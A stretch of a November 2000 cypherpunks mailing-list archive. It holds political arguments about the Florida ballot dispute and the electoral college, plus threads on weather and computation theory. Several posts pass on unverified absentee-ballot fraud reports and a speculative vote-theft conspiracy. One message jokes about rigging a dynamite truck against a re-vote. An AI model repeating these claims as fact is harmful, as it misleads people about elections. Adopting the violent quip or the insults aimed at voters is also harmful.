Nielsen/NetRatings standards. Quova wants to target anonymously based on ZIP codes, and it is in talks with various companies about additional services. There are some major holes in this approach, however. For example, Quova and others do not have a good read on the location of subscribers at the worlds largest ISP, America Online. The company, with 24 million members, poses a challenge because it uses a proxy-serve network that only shows IP addresses traveling from its home base in Virginia. For AOL, GeoPoint can only identify a person by country, with up to 98 percent accuracy, Bhargava said. Locator technology is only 60 percent to 70 percent accurate, according to research from Jupiter Media Metrix. These estimates are based on the large number of IP addresses used by AOL. And as the number of AOL customers grows, the accuracy rate will shrink. Elsewhere around the world, AOL doesnt operate proxy-serve networks, Bhargava said, so the opportunity to determine where Web visitors originate from is better. Former Bell Labs researcher Cheswick said geotracking technology may be accurate enough for advertising purposes, but it does come close to the level required for legal applications such as the Yahoo case. "On the surface, this sort of looks like it works," Cheswick said. "But it gets dicey when you try to break it down to a city or even if you break it down to a single country...For advertising or marketing purposes, 80 to 85 percent accuracy is fine. But when it come to the courts, you want to have a higher standard." From alan at clueserver.org Wed Nov 8 13:24:40 2000 From: alan at clueserver.org (Alan Olsen) Date: Wed, 8 Nov 2000 16:24:40 -0500 Subject: CDR: Re: A strange election scenario. In-Reply-To: At 11:28 AM 11/8/00 -0500, Trei, Peter wrote: >It looks like Gore has won the popular vote, and >that Florida is more likely to tip to Bush than to >Gore. If this happens, the show is not >necessarily over. > >If Bush wins Florida, and Gore wins Oregon, >the electoral college will stand at Gore 267, >Bush 271. You'd expect that King George >the Second would rule. But.... > >In most states, electoral college >electors are bound by law to cast their >votes in favor of the candidate who won >their state. But not all - in some states >(which ones? I don't know) electors can >legally vote their conscience. A Libertarian >presidential candidate got an electoral vote >a while back in this manner. > >If three of these 'unbound' electors are in states >which went to Bush, and decide to 'follow >the mandate of the national popular vote' >they can flip the election. > >Interesting times..... I am just wondering what they do if it comes down to an actual *tie* in Florida. Personally I would like to see the two candidates fight to the death in a tub of raw sewage with a couple of rusty sporks. (Not that they will do something sensible like that...) The coming gridlock could be the best thing to happen to the country though. --- | Terrorists - The Boogiemen for a new Millennium. | |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | | mankind free in one-key-steganography-privacy!" | Ignore the man | | | behind the keyboard.| | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| From major at oh.verio.com Wed Nov 8 16:30:22 2000 From: major at oh.verio.com (major at oh.verio.com) Date: Wed, 8 Nov 2000 16:30:22 Subject: CDR: RV WEBSITE Message-ID: <200011082130.NAA29170@toad.com> I would like to invite you to visit www.iRV2.com Site Features Forums Campground Reviews RV Links Photos and much more Thankyou Bill Rowell Note: If you have recieved this email in error please disregard. You are not on a list and should not recieve this email again. From ssyreeni at cc.helsinki.fi Wed Nov 8 06:48:31 2000 From: ssyreeni at cc.helsinki.fi (Sampo A Syreeni) Date: Wed, 8 Nov 2000 16:48:31 +0200 (EET) Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: Message-ID: On Mon, 6 Nov 2000, Jim Choate wrote: >The real question related to a NDTM is 'if you have a algorithm that >allows you to guess answers and verify them before submission for >execution' why are you executing the algorithm? You already know the >answer is correct. The whole idea of NDTM's arises from parallelism - having the correct answer and validating it is equivalent to having all the answers and validating them in parallel, producing one or more correct ones. >This is all really moot since NDTM's don't handle a single language that a >DTM can handle, and determining whether all Boolean sentences are valid >(irrespective of their actual result) is dealing with a language. Remember that we are not quantifying over the set of boolean expressions but over the set of possible inputs to a given, finite one. Sampo Syreeni , aka decoy, student/math/Helsinki university From phaedrus at sdf.lonestar.org Wed Nov 8 15:05:16 2000 From: phaedrus at sdf.lonestar.org (Phaedrus) Date: Wed, 8 Nov 2000 17:05:16 -0600 (CST) Subject: CDR: More blather from the DEMS on FL In-Reply-To: <200011081535.KAA20644@domains.invweb.net> Message-ID: On Wed, 8 Nov 2000, William H. Geiger III wrote: > I personally used the FL ballot. It was large, well printed, and quite > legible. Anyone who was "confused" by it's format is just too dam stupid > to vote. As I understand it each county in florida uses a different balloting system, so just because *your* ballot was easy to read does not necessarily mean they all were. Not knowing what county is in question or what county you are in, or if the two counties are different whether they still manage to use the same ballot, I'm not sure if your information is relavent or not (I really would like to see the questioned ballot..would it be so hard for someone to go scan in a sample one so we could at least make an informed judgement on such things...nah, that would make too much sense) Ph. From declan at well.com Wed Nov 8 14:18:47 2000 From: declan at well.com (Declan McCullagh) Date: Wed, 8 Nov 2000 17:18:47 -0500 Subject: CDR: Re: More blather from the DEMS on FL In-Reply-To: <200011081535.KAA20644@domains.invweb.net>; from whgiii@openpgp.net on Wed, Nov 08, 2000 at 10:35:19AM -0500 References: <200011081535.KAA20644@domains.invweb.net> Message-ID: <20001108174047.A16085@cluebot.com> http://www.salon.com/politics/feature/2000/11/07/results/index.html Supervisor of Elections Theresa LePore, a Democrat, insisted any confusion was unintentional and defended the layout of the cluttered ballots as necessary to get all the presidential candidates on facing pages while making the type large enough for voters to read. "I was trying to make the print bigger so elderly people in Palm Beach County can read it," said LePore. She also said if it was so confusing, someone should have pointed it out to her earlier. "We sent out sample ballots to all registered voters, and no one said a word," she said. From ravage at ssz.com Wed Nov 8 15:35:14 2000 From: ravage at ssz.com (Jim Choate) Date: Wed, 8 Nov 2000 17:35:14 -0600 (CST) Subject: CDR: Re: Weather In-Reply-To: Message-ID: On Wed, 8 Nov 2000, Templeton, Stuart wrote: > i think the weather thing has more to do with the agricultural background of > the country, and how this influenced the development of American Society at > an early stage. No, it's because the continent of the US is larger and as a consequence the weather tends to be more violent. Got something to do with the size of the air masses and their ability to store energy. Review some good weather texts. [1] We have hurricanes, tornadoes, flash floods, locust swarms (here in Texas every year they get so thick you can literaly sweep them with a broom), etc. at a much higher rate than Europe. And anyone who hasn't seen a Force 5 tornado literaly rip the slabs of houses out of the ground and sling them for over a mile, or a playing card stuck edge on in a telephone pole, or ever seen a 20 ft storm surge come in (I grew up around Galveston & Freeport and used to surf the hurricane surges) will never understand keeping an eye on the weather. When was the last time a town literaly ceased to exist, except for an empty cow pasture, in less than 30 minutes due to a tornado in Europe? No houses, no fences, no trees. If you'd like to see an example review Gerrold, TX and the F5 that hit there a coule of years ago. And we get mud slides that will match anything in Meditteranean Europe (roughly same latitude...hmmm). All that flooding that Europe is going ga ga over we get here in the SW every fucking year. Hell, we had 4in. of rain in about an hour last week for example. The lake that was very low two weeks ago is now within 2 feet of being full. The lake is held at half depth normaly (for flood control) and runs about 680ft. It holds over a million acre-feet of flood storage at that level. You do the math. Our flow rates at some of the damns went from less than 100 cfm to over 20,000 in less than a day. Crests were 12+ feet over flood for example. And we've got another one coming this weekend. When I was about 7 or so (1967?) it rained for 28 days straight in Galveston. I have this vivid memory of us driving through flooded Houston in my dad's truck getting a giggle out of the thousands of stranded cars sitting in water that went halfway to the windows just so we could get my Aunt who worked on the other side of town and couldn't get out. There's a reason the houses down there are built on stilts and 3-4 ft pier-and-beam slabs. But it's not just Europeans, even yankee's (northerners) get a lot of guff about the weather. In Chicago we see reports of people dying when the temp. hits the high 90's for a few days. It stays hi 90's here in Austin for months. We had 2 weeks of over 100 temperature and the nightly temps don't get below 90. Yet we have very few if any deaths. And I've yet to meet anyone who doesn't stand in awe at the Texas thunder bumpers. Lightning and thunder like no place on Earth, except Florida. The flip side is that we, in the SW at least, don't know shit about cold weather and feet of snow. A cold winter for us is several 3-4 day stints of sub-freezing, above zero, temperature (though you don't usualy hear of anyone dying there either). When it snows here in Austin (and it doesn't melt instantly) the entire town literaly closes up and eveyrone goes out and plays in it. Drives folks from the cold climes absolutely batty. There's an old saw about Texas, If you don't like the weather, wait a few minutes. It'll change. [1] Dynamics of Atmospheric Motion J.A. Dutton ISBN 0-486-68486-5 (Dover) $18 US ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From anonymous at openpgp.net Wed Nov 8 14:55:27 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Wed, 8 Nov 2000 17:55:27 -0500 Subject: CDR: geezers and ballots Message-ID: <29551743e9f383a16b331c6a22f64cf6@mixmaster.ceti.pl> If you look at http://cnews.tribune.com/news/image/0,1119,oso-nation-82373,00.html you see the gripe about the Palm Beach ballots. What they dont mention is that, by the same visual-illiteracy that lets Gore votes go to Buchanan, votes for Browne go to Gore. There is far more difference between Browne Gore than between Gore Buchanan. The libs ought to be furious. From whgiii at openpgp.net Wed Nov 8 14:58:28 2000 From: whgiii at openpgp.net (William H. Geiger III) Date: Wed, 8 Nov 2000 17:58:28 -0500 Subject: CDR: Re: A very brief politcal rant In-Reply-To: <973697805.3a09730d4e448@webmail.cotse.com> Message-ID: <200011082258.RAA01175@domains.invweb.net> In <973697805.3a09730d4e448 at webmail.cotse.com>, on 11/08/00 at 09:36 AM, brflgnk at cotse.com said: >If the citizens of Missouri chose to elect a deceased person as Senator, >I think that's exactly what they should get. Leave the seat empty for >two years. Someone had brought up the Constitutionality of having a dead man on the ballot. The reasoning was that the deceased are no longer legally citizens and therefore do not meet the Constitutional requirements for office. -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html E-Secure: http://www.openpgp.net/esecure.html --------------------------------------------------------------- From openpgp at openpgp.net Wed Nov 8 15:04:31 2000 From: openpgp at openpgp.net (Openpgp) Date: Wed, 8 Nov 2000 18:04:31 -0500 Subject: CDR: Re: geezers and ballots In-Reply-To: <29551743e9f383a16b331c6a22f64cf6@mixmaster.ceti.pl> Message-ID: On Wed, 8 Nov 2000 anonymous at openpgp.net wrote: > If you look at http://cnews.tribune.com/news/image/0,1119,oso-nation-82373,00.html > you see the gripe about the Palm Beach > ballots. > > What they dont mention is that, by > the same visual-illiteracy that > lets Gore votes go to Buchanan, > votes for Browne go to Gore. > > There is far more difference between > Browne Gore than between Gore > Buchanan. The libs ought to be > furious. I think that you find that the Libertarians are smart enough to figure out a ballot and vote for the candidate that they want. Unfortunatly the same can't be said for the liberals. -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html --------------------------------------------------------------- From bear at sonic.net Wed Nov 8 18:14:37 2000 From: bear at sonic.net (Ray Dillinger) Date: Wed, 8 Nov 2000 18:14:37 -0800 (PST) Subject: CDR: Re: Weather In-Reply-To: Message-ID: On Wed, 8 Nov 2000, Jim Choate wrote: > >No, it's because the continent of the US is larger and as a consequence >the weather tends to be more violent. Got something to do with the size of >the air masses and their ability to store energy. Review some good weather >texts. [1] ??? What map of the world have you been looking at? The old-world mainland is so big we call it two continents (Europe and Asia) even though it's one solid piece of land. (plus some islands at the edges, like England, Ireland, and Japan). And Africa is just immense! I won't deny that by all accounts our weather (especially on the central plains states) is substantially more violent than european weather (cf. my earlier comments about wind dismantling houses on occasion where I used to live in Kansas) but it's not because the continent is bigger. I'd be more inclined to believe it's just particular circumstances; that chunk of america gets warm wet air off the Gulf of mexico and cold dry air from the arctic by way of canada, which is a pretty extreme mix. Mountain ranges are in place that keep the air from getting mediated with anything before this extreme mix happens. The resulting weather is also extreme, natch. >We have hurricanes, tornadoes, flash floods, locust swarms (here in Texas >every year they get so thick you can literaly sweep them with a broom), >etc. at a much higher rate than Europe. It's different in California. The year after I moved out here they had a tornado in San Jose that pushed a car across a parking lot. It dented this guy's car, but it was drivable. I had to laugh at that, because when I heard "tornado" I was thinking of something completely different. I watched this moron on the news, who was talking about how he'd stood right next to a large glass window in his home and watched it "suck the ducks right out of the duck pond".... and the TV meteorologist called him "brave" for this. I had to laugh, but I thought, "there really hasn't been much evolutionary pressure on humans here regarding weather, has there?" We kansas transplants used to tape the weather forecasts here and send them back to our friends for comedic value. Bear From alan at clueserver.org Wed Nov 8 18:22:20 2000 From: alan at clueserver.org (Alan Olsen) Date: Wed, 08 Nov 2000 18:22:20 -0800 Subject: CDR: Re: A very brief politcal rant In-Reply-To: <973697805.3a09730d4e448@webmail.cotse.com> Message-ID: <4.2.2.20001108182055.051d74e0@clueserver.org> At 10:36 AM 11/8/00 -0500, brflgnk at cotse.com wrote: >If the citizens of Missouri chose to elect a deceased person as Senator, I >think >that's exactly what they should get. Leave the seat empty for two years. Nah! Just dig him up and wheel him to all the meetings. (I believe that has been done at some British university. Not certain. Too much Ripley's Believe It or Not as a kid...) --- | Terrorists - The Boogiemen for a new Millennium. | |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | | mankind free in one-key-steganography-privacy!" | Ignore the man | | | behind the keyboard.| | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| From whgiii at openpgp.net Wed Nov 8 15:25:04 2000 From: whgiii at openpgp.net (William H. Geiger III) Date: Wed, 8 Nov 2000 18:25:04 -0500 Subject: CDR: Reports of Democrat Fraud on Absentee Ballots. Message-ID: <200011082324.SAA04926@domains.invweb.net> Listening to Luke McCoy on AM 1370 in Pensacola tonight there are reports comming in of absentee ballots that have been intercepted and fraudulently returned. One report from a Escambia Co. resident in Dade Co. had requested an absentee ballot. This ballot was never received and a second one was requested. The election board confirmed that the 1st ballot had not been processed and a second one was sent out. The second one was never received. On further investigation the 1st ballot was received after the 2nd was sent out. The signature did not match that of the voter registration form, and needless to say that the forged ballot was filled out for Gore. Another report of a woman who had an absentee ballot returned in her name from Canada, she claims that she has never been to Canada. Again a Gore ballot. For right now this is all just 4th party hearsay. I'll call the election board in the morning and see if I can get some confirmation. Things may get ugly down here before it's all over... -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html E-Secure: http://www.openpgp.net/esecure.html --------------------------------------------------------------- From phaedrus at sdf.lonestar.org Wed Nov 8 16:32:41 2000 From: phaedrus at sdf.lonestar.org (Phaedrus) Date: Wed, 8 Nov 2000 18:32:41 -0600 (CST) Subject: CDR: Re: More blather from the DEMS on FL In-Reply-To: <200011082344.SAA07251@domains.invweb.net> Message-ID: On Wed, 8 Nov 2000, William H. Geiger III wrote: > I had corrected myself in a followup post. The ballot that I used was > quite different than the one used in Palm Beach Co. Just got that. sorry for jumping the gun > There are a couple of sites showing the ballot in question: Cool. Thanks. Ph. From rah at shipwright.com Wed Nov 8 15:34:44 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Wed, 8 Nov 2000 18:34:44 -0500 Subject: CDR: Re: A very brief politcal rant In-Reply-To: <973697805.3a09730d4e448@webmail.cotse.com> References: <973697805.3a09730d4e448@webmail.cotse.com> Message-ID: At 10:36 AM -0500 on 11/8/00, brflgnk at cotse.com wrote: > If the citizens of Missouri chose to elect a deceased person as Senator, >I think > that's exactly what they should get. Would that we were all so fortunate. Imagine, a whole senate full of dead people. Well... empty seats representing dead people. Or something. Missouri, the show me state, indeed. Let's see, somebody could go around and collect petition signatures for famous ex-sons-of-Massachusetts. *Lots* of those. John Adams? Sam Adams?... Hmmm....What was the name of the first colonist killed at Concord? Oops. Wait a minute. That would not, in fact, get the result we desire. In fact, we'd get the worst of all possible worlds. If I recall correctly, dead Republicans *don't* vote. Only dead *Democrats* can do *that*... ;-). Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From whgiii at openpgp.net Wed Nov 8 15:37:40 2000 From: whgiii at openpgp.net (William H. Geiger III) Date: Wed, 8 Nov 2000 18:37:40 -0500 Subject: CDR: Lawsuit filed Message-ID: <200011082337.SAA06489@domains.invweb.net> Well a lawsuit has been filed for a new election to be held in Palm Beach County. Jessy Jackson and the rest of the Carpetbaggers need to get out of our state. An interesting tidbit: Escambia Co., FL 71% of registered voters voted, 20% higher than the country average. :) -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html E-Secure: http://www.openpgp.net/esecure.html --------------------------------------------------------------- From whgiii at openpgp.net Wed Nov 8 15:44:46 2000 From: whgiii at openpgp.net (William H. Geiger III) Date: Wed, 8 Nov 2000 18:44:46 -0500 Subject: CDR: Re: More blather from the DEMS on FL In-Reply-To: Message-ID: <200011082344.SAA07251@domains.invweb.net> In , on 11/08/00 at 05:32 PM, Phaedrus said: >On Wed, 8 Nov 2000, William H. Geiger III wrote: >> I personally used the FL ballot. It was large, well printed, and quite >> legible. Anyone who was "confused" by it's format is just too dam stupid >> to vote. >As I understand it each county in florida uses a different balloting >system, so just because *your* ballot was easy to read does not >necessarily mean they all were. >Not knowing what county is in question or what county you are in, or if >the two counties are different whether they still manage to use the same >ballot, I'm not sure if your information is relavent or not >(I really would like to see the questioned ballot..would it be so hard >for someone to go scan in a sample one so we could at least make an >informed judgement on such things...nah, that would make too much sense) I had corrected myself in a followup post. The ballot that I used was quite different than the one used in Palm Beach Co. There are a couple of sites showing the ballot in question: http://www.gopbi.com/news/local/ballot.html http://cnews.tribune.com/news/image/0,1119,oso-nation-82373,00.html -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html E-Secure: http://www.openpgp.net/esecure.html --------------------------------------------------------------- From evanmcmullen at yahoo.com Wed Nov 8 19:02:18 2000 From: evanmcmullen at yahoo.com (Evan) Date: Wed, 8 Nov 2000 19:02:18 -0800 (PST) Subject: CDR: Re: More blather from the DEMS on FL Message-ID: <20001109030218.54081.qmail@web10008.mail.yahoo.com> what the hell is the electoral college still doing in existance? it should have gone out w/ unlimited presidential terms.... voting with their conscience my ass.... voting in a partisan fashion is more like it ===== __________________________________________________ Do You Yahoo!? Thousands of Stores. Millions of Products. All in one Place. http://shopping.yahoo.com/ From jburnes at savvis.net Wed Nov 8 16:18:52 2000 From: jburnes at savvis.net (Jim Burnes) Date: Wed, 8 Nov 2000 19:18:52 -0500 Subject: CDR: Re: [Correction] More blather from the DEMS on FL In-Reply-To: References: <200011081549.KAA22279@domains.invweb.net> Message-ID: <00110802010900.02765@reality.eng.savvis.net> On Wed, 08 Nov 2000, Tim May wrote: > At 10:50 AM -0500 11/8/00, William H. Geiger III wrote: > >IMHO if the courts order a new election in this county then they need to > >do it for the entire state as the electorial college is winner take all > >and it would be unjust to allow this one county to determine how these > >delegates vote. > > Well, they spent $3 billion on this election, I hear. > > A new vote in this county would let them spend another billion or > two, just for that one county. > > You are right that if they order a new election in that county--which > is not beyond the pale, as the judges are pols--they should order a > new election in the entire state. And even that would not be "fair," > of course. > > This may actually be the event which accelerates a move to electronic > voting. Which is not an unmitigated good, despite the high "Wired" > score it would undoubtedly garner. > > > --Tim May I find it extremely interesting that this is all going down in the state that was covered in detail in the excellent book 'VoteScam'. This book, written by the Collier brothers, details massive voter fraud in Dade county. When the Colliers discovered the extent of voter fraud they brought it directly to the State Attorney General Janet Reno. Ms. Reno promised action and then conveniently forgot the whole matter. Are bells ringing yet? There are those who would claim that I'm complaining all this because I'm a libertarian partisan. Let me just say that most of the voter fraud in that book was internal to the Democratic party. Claud Pepper's security apparachniks beat up the Collier brother who was running against him when Collier stood up in a democratic meeting to give a speech. The tawdry tale of ballot stuffing, police involvement, and general corruption of the election process is very disheartening. One of the reasons I'm so jaded with regards to politics is that I've seen the force and fraud first hand. When the Libertarians tried to get included in the debates in 1992 we were greeted by jack-booted storm troopers, MP5s and German Shepards in St. Louis. The Colliers were greeted by the Dade county machine. Its all the same. Maybe Ms. Reno still has connections in Dade county. If I were a Republican I'd demand chain of evidence from any so-called 'lost' ballots. jim From tcmay at got.net Wed Nov 8 20:17:58 2000 From: tcmay at got.net (Tim May) Date: Wed, 8 Nov 2000 20:17:58 -0800 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <200011090403.XAA16241@www6.aa.psiweb.com> References: <200011090403.XAA16241@www6.aa.psiweb.com> Message-ID: At 11:03 PM -0500 11/8/00, George at Orwellian.Org wrote: >Wow, NBC reports 19,000 Palm Beach County ballots >were discarded because _two_ holes were punched, >presumably by people confused by the illegally >formatted ballot. Buchanun received three times >the votes expected. Earth to George: that the ballots were discarded does not mean anything for the vote total already reported. Those 19,000 ballots, if this is true, will simply vanish into the great black hole of defective ballots (more than one vote per category, torn, etc.). So? --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From tcmay at got.net Wed Nov 8 20:20:23 2000 From: tcmay at got.net (Tim May) Date: Wed, 8 Nov 2000 20:20:23 -0800 Subject: CDR: Re: More blather from the DEMS on FL In-Reply-To: <20001109030218.54081.qmail@web10008.mail.yahoo.com> References: <20001109030218.54081.qmail@web10008.mail.yahoo.com> Message-ID: At 7:02 PM -0800 11/8/00, Evan wrote: >what the hell is the electoral college still doing in existance? it >should have gone out w/ unlimited presidential terms.... voting with >their conscience my ass.... voting in a partisan fashion is more like it If you are an American citizen, you have failed to understand that this nation is a federal republic, not a direct democracy. Perhaps there are night school classes in your area to help you to fill in the gaps in your education. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From ernest at luminousnetworks.com Wed Nov 8 17:29:31 2000 From: ernest at luminousnetworks.com (Ernest Hua) Date: Wed, 8 Nov 2000 20:29:31 -0500 Subject: CDR: RE: Lawsuit filed Message-ID: <090825D1E60BD311B8390090276D5C4965DCFD@galileo.luminousnetworks.com> This outrage is dubious at best. After all, the re-election will probably be one of the most closely supervised election in a long time. In any case ... If the people care enough, they can supervise the historically fraudulent election districts. The problem is that most people don't give a hoot what happens if it's not in their back yard and it does not hurt them in an obvious manner. The only interested parties here ARE the Parties. Everyone else will whine a little, and then forget about it next week. Ern -----Original Message----- X-Loop: openpgp.net From: William H. Geiger III [mailto:whgiii at openpgp.net] Sent: Wednesday, November 08, 2000 3:38 PM To: Multiple recipients of list Subject: Lawsuit filed Well a lawsuit has been filed for a new election to be held in Palm Beach County. Jessy Jackson and the rest of the Carpetbaggers need to get out of our state. An interesting tidbit: Escambia Co., FL 71% of registered voters voted, 20% higher than the country average. :) -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html E-Secure: http://www.openpgp.net/esecure.html --------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 2976 bytes Desc: not available URL: From tcmay at got.net Wed Nov 8 17:36:04 2000 From: tcmay at got.net (Tim May) Date: Wed, 8 Nov 2000 20:36:04 -0500 Subject: CDR: Re: A strange election scenario. In-Reply-To: References: Message-ID: At 3:44 PM -0500 11/8/00, James B Windle wrote: > >On Wed, 8 Nov 2000 11:28:25 > Trei, Peter wrote: > >>In most states, electoral college >>electors are bound by law to cast their >>votes in favor of the candidate who won >>their state. But not all - in some states >>(which ones? I don't know) electors can >>legally vote their conscience. A Libertarian >>presidential candidate got an electoral vote >>a while back in this manner. >> >The electoral college vote you are thinking of was in the 1976 >election, a Republican elector from Virginia cast his vote in the >electoral college for McBride who was the Libertarian candidate that >election. The elector was not a very popular guy with the >Republican party but he broke no law. Actually, MacBride _was_ the elector, in the 1972 election. He ran as the LP candidate in 1976, presumably on account of his 1972 action. (The 1972 was my first election, and I voted for John Hospers, candidate of the very new Libertarian Party.) --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From tcmay at got.net Wed Nov 8 20:43:46 2000 From: tcmay at got.net (Tim May) Date: Wed, 8 Nov 2000 20:43:46 -0800 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <200011090351.WAA14142@www9.aa.psiweb.com> References: <200011090351.WAA14142@www9.aa.psiweb.com> Message-ID: At 10:51 PM -0500 11/8/00, George at Orwellian.Org wrote: > >The ballot layout was illegal and resulted >in a statistically verifiable set of erroneous >votes for Bucanun. This is particularly galling >to the voting victims, since many are Jewish. The ballot form was used in past elections, CNN reported today. The ballot was published in newspapers, to let people familiarize themselves with its form. And the head of the voting commission, who approved the ballot's final form, is a Democrat. Ballots are often of different forms. Sometimes a mechanical punch is used, sometimes a Number 2 pencil, sometimes a pen. There cannot be a re-vote of the County, or even of the entire State, as this would distort the forces acting on the electorate in a way never seen before. The Palm County voters would know _they_ would be electing the next president. Billions of dollars would be spent trying to buy each and every voter. And there is no precedent for using "statistics" by Democrat consultants to propose that votes be Buchanan be assigned to Gore. So Gore won't get those votes, and there won't be a County-wide revote. (If there is, I'll help in rigging the dynamite truck .) --Timothy McMay -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From bear at sonic.net Wed Nov 8 17:45:36 2000 From: bear at sonic.net (Ray Dillinger) Date: Wed, 8 Nov 2000 20:45:36 -0500 Subject: CDR: The joys of vote theft conspiracy theories In-Reply-To: <00110802010900.02765@reality.eng.savvis.net> Message-ID: On Wed, 8 Nov 2000, Jim Burnes wrote: >I find it extremely interesting that this is all going down in the >state that was covered in detail in the excellent book 'VoteScam'. >This book, written by the Collier brothers, details massive voter fraud in >Dade county. When the Colliers discovered the extent of voter fraud they >brought it directly to the State Attorney General Janet Reno. Ms. Reno >promised action and then conveniently forgot the whole matter. >Are bells ringing yet? Ya know, last night, I was thinking, I'm a suspicious bastard for thinking this but... let's count 'em off on imaginary fingers here. One, it's Florida, where there's known precedent for scamming votes and the traditional infrastructure doesn't do much to prevent it. Two, it's the governor's brother running for president. (and the governor, conveniently, is in charge of investigations into vote fraud). Three, the bloke running for president's dad is a former head of a major intelligence agency who's had a lot of experience setting up covert operations and has the personal wealth needed to fund his own team of agents. Four, Daddy probably knows where a lot of bodies are buried -- George Sr. prolly has no end of ammo for playing hardball with US intel services and others who might investigate vote fraud - particularly Ms. Janet Reno. Five, Daddy also happens to be an ex-president of the US, with lots and lots of connections and favors owed. Which also means, in particular, that he is a former head of all of the US armed forces. Six (hmm, I must be polydactyl), the ballots can continue to come in by mail from overseas for ten days - mostly from places controlled by US armed forces - provided they have postmarks with an appropriate date - and there's no protocol to make sure that postmarks aren't getting backdated. Now, I don't *know* that anything large and organized in the way of vote-stealing is going on -- but goodness, if you wanna talk about a full complement of opportunities and fodder for conspiracy theorists, there's just no end of angles, is there? >Maybe Ms. Reno still has connections in Dade county. If I were a Republican >I'd demand chain of evidence from any so-called 'lost' ballots. Um, ditto if you were a Democrat, I'm thinkin'. Bear From ernest at luminousnetworks.com Wed Nov 8 20:57:45 2000 From: ernest at luminousnetworks.com (Ernest Hua) Date: Wed, 8 Nov 2000 20:57:45 -0800 Subject: CDR: RE: A successful lawsuit means Gore wins! Message-ID: <090825D1E60BD311B8390090276D5C4965DCFE@galileo.luminousnetworks.com> > There cannot be a re-vote of the County, or even of the entire State, > as this would distort the forces acting on the electorate in a way > never seen before. The Palm County voters would know _they_ would be > electing the next president. Billions of dollars would be spent > trying to buy each and every voter. "distort the forces ..." Lord! No! Don't let them do that! Geez, Tim. What happened to personal responsibility? Who gives two bits what "forces" will be upon them. They will ultimately still have to cast a vote which they were casting just days earlier. Who cares if idiots spend billions to sway a few thousand votes. That's THEIR problem. It's free speech, as you have claimed in the past. I still don't get this uproar over re-doing something that was fishy. Who's rights are being trampled upon by this? Ern -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 1586 bytes Desc: not available URL: From tcmay at got.net Wed Nov 8 21:28:29 2000 From: tcmay at got.net (Tim May) Date: Wed, 8 Nov 2000 21:28:29 -0800 Subject: CDR: RE: A successful lawsuit means Gore wins! In-Reply-To: <090825D1E60BD311B8390090276D5C4965DCFE@galileo.luminousnetworks.com> References: <090825D1E60BD311B8390090276D5C4965DCFE@galileo.luminousnetworks.com> Message-ID: At 8:57 PM -0800 11/8/00, Ernest Hua wrote: > > There cannot be a re-vote of the County, or even of the entire State, >> as this would distort the forces acting on the electorate in a way >> never seen before. The Palm County voters would know _they_ would be >> electing the next president. Billions of dollars would be spent >> trying to buy each and every voter. > >"distort the forces ..." Lord! No! Don't let them do that! > >Geez, Tim. What happened to personal responsibility? Who gives two >bits what "forces" will be upon them. They will ultimately still >have to cast a vote which they were casting just days earlier. Who >cares if idiots spend billions to sway a few thousand votes. That's >THEIR problem. It's free speech, as you have claimed in the past. You're a complete idiot if you don't understand this point. I made my points, briefly, above. This would not be a matter of the same voters simply recasting their same ballots. Think about it. (I'm not convinced you can, Ernest. In reading hundreds of your posts I have concluded that you're just part of Vinge's "Slow Zone.") --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, 